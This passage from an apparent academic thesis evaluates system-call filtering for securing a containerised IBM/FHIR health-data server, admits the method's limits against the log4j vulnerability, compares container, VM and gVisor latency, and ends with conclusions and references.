Assuming that the hacker does not have system administration privileges, but exploits the vulnerability of the health information exchange system (IBM/FHIR server) to conduct malicious attacks, we can also use the same behavioral filter to filter the attack. For example the log4j attack (CVE-2021-44228), which is a vulnerability been published while we researching this container security issue. Before our research, this vulnerability existed in IBM/FHIR container server<sup>4</sup>. When a user turns the "export to parquet" feature on, which would bring in much of Apache Spark which leads to enable the vulnerable log4j.

But unfortunately, we have to admit that the defenses we propose cannot withstand this log4j attack. The IBM/FHIR server itself can enable such a mechanism, so actions using log4j are invoked at build time. We would admit these behaviors as normal behavior at the system-call filter level.

## Breaking protection rings

Within the architecture of a computer system, a protection ring<sup>5 6</sup>, which is shown in figure 4.1, is one of two or more hierarchical levels or layers of privilege. Which was proposed by the Multics operating system [16].

Containers can theoretically have more secure ring protection in the protection ring than in the host environment. Because the permissions of a container could have at most as many permissions as

---

<sup>3</sup><https://www.ithome.com.tw/news/137955>

<sup>4</sup><https://github.com/IBM/FHIR/issues/3156>

<sup>5</sup><https://www.eff.org/deeplinks/2017/05/intels-management-engine-security-hazard-and-user>

<sup>6</sup><https://medium.com/swlh/negative-rings-in-intel-architecture-the-security-threats-youve>




Figure 4.1: Intel Architecture Hardware View

the host environment. Therefore a container could break the protection ring, only if the host machine could be cracked by those attacks which are applied to the container.

In other words, when a Container can break the protection ring, we permitted too much capability to that container. Therefore, in our proposed method, the system call limit during the container execution period is given at build time, which can effectively defend against attacks such as breaking the protection ring.

### 4.1.2 Time Consuming

Kozhimbayev and Sinnott [29] showed that there is basically no statistical difference between container and host environment. This is completely in line with our perception of a container, which is said that containers are isolated processes.

### 4.1.3 Statistics

According to our experiments, the integration tests and unit tests were executed on IBM/FHIR server 4.9.0, and the system calls, and system events we collected are shown in the figure 4.2.

The figure 4.2 is the FHIR server's all system calls in BoSC[8] and the number of called times. Among them, we can find that the most used is the 'stat' system call.




Figure 4.2: All the system calls which the FHIR called times

## 4.2 Benchmark

It is found that the discussion of container performance testing is less focused on the requirement of parallel multiplexing [28, 29, 30, 31]. And it is a more important issue for the server's high multiplexing performance service client.

### 4.2.1 Latency

Figure 4.3 is the concurrent processes transporting time difference in a container and a virtual machine. Young et al. [31] showed that the latency of opening and closing files is no significant difference between native and runc. But there was 12 times faster than the gVisor with internal access. Although our IBM/FHIR server cannot be executed in gVisor, it is the same in native and runc with no significant difference.

Felter et al. [30] showed the relation between the throughput and the concurrency, both have the transaction's upper bound cost in MySQL. The overhead of KVM is much higher, above 40% in all measured cases. We think there is a driver buffering bottleneck in the hypervisor of KVM in ring 0.

So we compare the time lag between Ubuntu 20.04 in QEMU/KVM in Archlinux and native Alpine container in Archlinux on concurrent requests. A phenomenon we found is that the latency curve of a virtual machine seems to be different in complexity from that of a native container.




Figure 4.3: Concurrent processes transporting time

# Chapter 5

## Conclusion

We can see the comparison results in virtual machine and container are significantly indifferent order of time-consuming. There is no existence of the gVisor's result because the gVisor was not able to launch the IBM/FHIR server system, which is the target of our research. We also expect the gVisor might run faster significantly than the virtual machine, however, our target cannot be launched successfully in gVisor's sandbox.

We thought there might have been some race condition bugs via JWE(JAVA Web Engine) in gVisor. We found the IBM/FHIR server return an error code 141 while it launching. However, we did the same configuration in Docker with our policy and raw gVisor. Therefore, we thought the gVisor did not do well in supporting all system calls.

And the time complexity of the virtual machine is significantly different from the container. We propose a hypothesis of the time complexity of the virtual machine, because there are more page fault events and limited by the throughput of virtual machine device driver[2, 30].

**Better Architecture** To better profile the IBM/FHIR server, we can start with the Hooked JVM, which prevents unexpected objects from being generated at execution time, such as fetching unspecified settings from JDBC. To make this method come true, we will need to do two things: 1. JVM Hook, 2. Pre-parse the relationship between Java bytecode and system calls.

In order to better provide the maintenance of information security for specific applications, containerization is one of the means. In the face of more detailed security controls, we should especially focus on more detailed patterns. The collection system call is of course more versatile, but this is where we can design better.

We think the problem with delay is the hypervisor's driver buffer bottleneck, but there might be still too many variables in the middle. We need more analysis of hypervisor and hardware communication mechanisms' formula to determine the root causes.

**Future Machine Learning in Kernel** Each FHIR request will conform to a certain format, and even when it is highly parallel, it will have a certain pattern. We can start from the FHIR container and put recurrent neural network or Hidden Markov Model into the kernel via ebpf. Perhaps we will have more accurate and flexible containers to protect the health and medical information exchange system.

# References

- [1] Arif Ahmed and Guillaume Pierre. “Docker Container Deployment in Fog Computing Infrastructures”. In: *2018 IEEE International Conference on Edge Computing (EDGE)*. 2018, pp. 1–8. DOI: [10.1109/EDGE.2018.00008](https://doi.org/10.1109/EDGE.2018.00008).
- [2] Ian Goldberg et al. “A Secure Environment for Untrusted Helper Applications Confining the Wily Hacker”. In: *Proceedings of the 6th Conference on USENIX Security Symposium, Focusing on Applications of Cryptography - Volume 6*. SSYM’96. San Jose, California: USENIX Association, 1996, p. 1.
- [3] Silas Boyd-Wickizer et al. “An Analysis of Linux Scalability to Many Cores”. In: *9th USENIX Symposium on Operating Systems Design and Implementation (OSDI 10)*. Vancouver, BC: USENIX Association, Oct. 2010. URL: <https://www.usenix.org/conference/osdi10/analysis-linux-scalability-many-cores>.
- [4] Amr S. Abed, Charles Clancy, and David S. Levy. “Intrusion Detection System for Applications Using Linux Containers”. In: *Proceedings of the 11th International Workshop on Security and Trust Management - Volume 9331*. STM 2015. Vienna, Austria: Springer-Verlag, 2015, pp. 123–135. ISBN: 9783319248578. DOI: [10.1007/978-3-319-24858-5\\_8](https://doi.org/10.1007/978-3-319-24858-5_8). URL: [https://doi.org/10.1007/978-3-319-24858-5\\_8](https://doi.org/10.1007/978-3-319-24858-5_8).
- [5] José Flora. “Improving the Security of Microservice Systems by Detecting and Tolerating Intrusions”. In: *2020 IEEE International Symposium on Software Reliability Engineering Workshops (ISSREW)*. 2020, pp. 131–134. DOI: [10.1109/ISSREW51248.2020.00051](https://doi.org/10.1109/ISSREW51248.2020.00051).
- [6] Mohamed Azab et al. “Smart Moving Target Defense for Linux Container Resiliency”. In: *2016 IEEE 2nd International Conference on Collaboration and Internet Computing (CIC)*. 2016, pp. 122–130. DOI: [10.1109/CIC.2016.028](https://doi.org/10.1109/CIC.2016.028).
- [7] Mohamed Azab et al. “Toward Smart Moving Target Defense for Linux Container Resiliency”. In: *2016 IEEE 41st Conference on Local Computer Networks (LCN)*. 2016, pp. 619–622. DOI: [10.1109/LCN.2016.106](https://doi.org/10.1109/LCN.2016.106).
- [8] Dae-Ki Kang, D. Fuller, and V. Honavar. “Learning classifiers for misuse and anomaly detection using a bag of system calls representation”. In: *Proceedings from the Sixth Annual IEEE SMC Information Assurance Workshop*. 2005, pp. 118–125. DOI: [10.1109/IAW.2005.1495942](https://doi.org/10.1109/IAW.2005.1495942).
- [9] Andreas Grünbacher. “POSIX Access Control Lists on Linux”. In: *USENIX Annual Technical Conference, FREENIX Track*. 2003.
- [10] Sergei Arnautov et al. “SCONE: Secure Linux Containers with Intel SGX”. In: *Proceedings of the 12th USENIX Conference on Operating Systems Design and Implementation*. OSDI’16. Savannah, GA, USA: USENIX Association, 2016, pp. 689–703. ISBN: 9781931971331.
- [11] Stephen Dale Smalley, Chris Vance, and Wayne Salamon. “Implementing SELinux as a Linux Security Module”. In: 2003.
- [12] Sung-Hwa Han et al. “Container Image Access Control Architecture to Protect Applications”. In: *IEEE Access* 8 (2020), pp. 162012–162021. DOI: [10.1109/ACCESS.2020.3021044](https://doi.org/10.1109/ACCESS.2020.3021044).

- [13] Yuqiong Sun et al. "Security Namespace: Making Linux Security Frameworks Available to Containers". In: *27th USENIX Security Symposium (USENIX Security 18)*. Baltimore, MD: USENIX Association, Aug. 2018, pp. 1423–1439. ISBN: 978-1-939133-04-5. URL: <https://www.usenix.org/conference/usenixsecurity18/presentation/sun>.
- [14] Doug Kilpatrick, Wayne Salamon, and Chris Vance. "Securing The X Window System With SELinux". In: 2003.
- [15] Luis Franco, Tony Sahama, and Peter Croll. "Security Enhanced Linux to enforce Mandatory Access Control in Health Information Systems". In: *Health Data and Knowledge Management 2008*. Ed. by P Yu P et al. Australia: Australian Computer Society, 2008, pp. 27–33. URL: <https://eprints.qut.edu.au/30563/>.
- [16] Paul A. Karger and Andrew J. Herbert. "An Augmented Capability Architecture to Support Lattice Security and Traceability of Access". In: *1984 IEEE Symposium on Security and Privacy*. 1984, pp. 2–2. DOI: [10.1109/SP.1984.10001](https://doi.org/10.1109/SP.1984.10001).
- [17] William G Halfond, Jeremy Viegas, Alessandro Orso, et al. "A classification of SQL-injection attacks and countermeasures". In: *Proceedings of the IEEE international symposium on secure software engineering*. Vol. 1. IEEE. 2006, pp. 13–15.
- [18] Md Maruf Hassan et al. "SAISAN: An automated Local File Inclusion vulnerability detection model". In: *International Journal of Engineering & Technology* 7.2-3 (2018), p. 4.
- [19] Michael E Whitman and Herbert J Mattord. *Principles of information security*. Cengage learning, 2011.
- [20] Alessio Gaspar and Clark Godwin. "Root-kits & loadable kernel modules: exploiting the Linux kernel for fun and (educational) profit". In: *Journal of Computing Sciences in Colleges* 22.2 (2006), pp. 244–250.
- [21] Hoa Khanh Dam et al. "Automatic feature learning for predicting vulnerable software components". In: *IEEE Transactions on Software Engineering* (2018).
- [22] Matthieu Jimenez, Mike Papadakis, and Yves Le Traon. "Vulnerability prediction models: A case study on the linux kernel". In: *2016 IEEE 16th International Working Conference on Source Code Analysis and Manipulation (SCAM)*. IEEE. 2016, pp. 1–10.
- [23] Serguei A. Mokhov, Marc-André Laverdière, and Djamel Benredjem. "Taxonomy of Linux Kernel Vulnerability Solutions". In: *Innovative Techniques in Instruction Technology, E-learning, E-assessment, and Education*. Ed. by Maged Iskander. Dordrecht: Springer Netherlands, 2008, pp. 485–493. ISBN: 978-1-4020-8739-4.
- [24] Xing Gao et al. "Houdini's Escape: Breaking the Resource Rein of Linux Control Groups". In: *Proceedings of the 2019 ACM SIGSAC Conference on Computer and Communications Security*. CCS '19. London, United Kingdom: Association for Computing Machinery, 2019, pp. 1073–1086. ISBN: 9781450367479. DOI: [10.1145/3319535.3354227](https://doi.org/10.1145/3319535.3354227). URL: <https://doi.org/10.1145/3319535.3354227>.
- [25] Delwar Alam et al. "Study of the Dirty Copy on Write, a Linux Kernel memory allocation vulnerability". In: *2017 International Conference on Consumer Electronics and Devices (ICCED)*. 2017, pp. 40–45. DOI: [10.1109/ICCED.2017.8019988](https://doi.org/10.1109/ICCED.2017.8019988).
- [26] Hong Lan and Xuan Wang. "Research and Design of Concurrent Web Server on Linux System". In: *2012 International Conference on Computer Science and Service System*. 2012, pp. 734–737. DOI: [10.1109/CSSS.2012.188](https://doi.org/10.1109/CSSS.2012.188).
- [27] A.P. Saleel, Mohamed Nazeer, and Babak D. Beheshti. "Linux kernel OS local root exploit". In: *2017 IEEE Long Island Systems, Applications and Technology Conference (LISAT)*. 2017, pp. 1–5. DOI: [10.1109/LISAT.2017.8001953](https://doi.org/10.1109/LISAT.2017.8001953).



- [28] Marcelo Amaral et al. “Performance Evaluation of Microservices Architectures Using Containers”. In: *2015 IEEE 14th International Symposium on Network Computing and Applications*. 2015, pp. 27–34. DOI: [10.1109/NCA.2015.49](https://doi.org/10.1109/NCA.2015.49).
- [29] Zhanibek Kozhimbayev and Richard O. Sinnott. “A performance comparison of container-based technologies for the Cloud”. In: *Future Generation Computer Systems* 68 (2017), pp. 175–182. ISSN: 0167-739X. DOI: <https://doi.org/10.1016/j.future.2016.08.025>. URL: <https://www.sciencedirect.com/science/article/pii/S0167739X16303041>.
- [30] Wes Felter et al. “An updated performance comparison of virtual machines and Linux containers”. In: *2015 IEEE International Symposium on Performance Analysis of Systems and Software (ISPASS)*. 2015, pp. 171–172. DOI: [10.1109/ISPASS.2015.7095802](https://doi.org/10.1109/ISPASS.2015.7095802).
- [31] Ethan G. Young et al. “The True Cost of Containing: A gVisor Case Study”. In: *11th USENIX Workshop on Hot Topics in Cloud Computing (HotCloud 19)*. Renton, WA: USENIX Association, July 2019. URL: <https://www.usenix.org/conference/hotcloud19/presentation/young>.
- [32] Eric Steven Raymond. *The Cathedral and the Bazaar*. O’Reilly Media, Inc., 2002. ISBN: 9780596001087.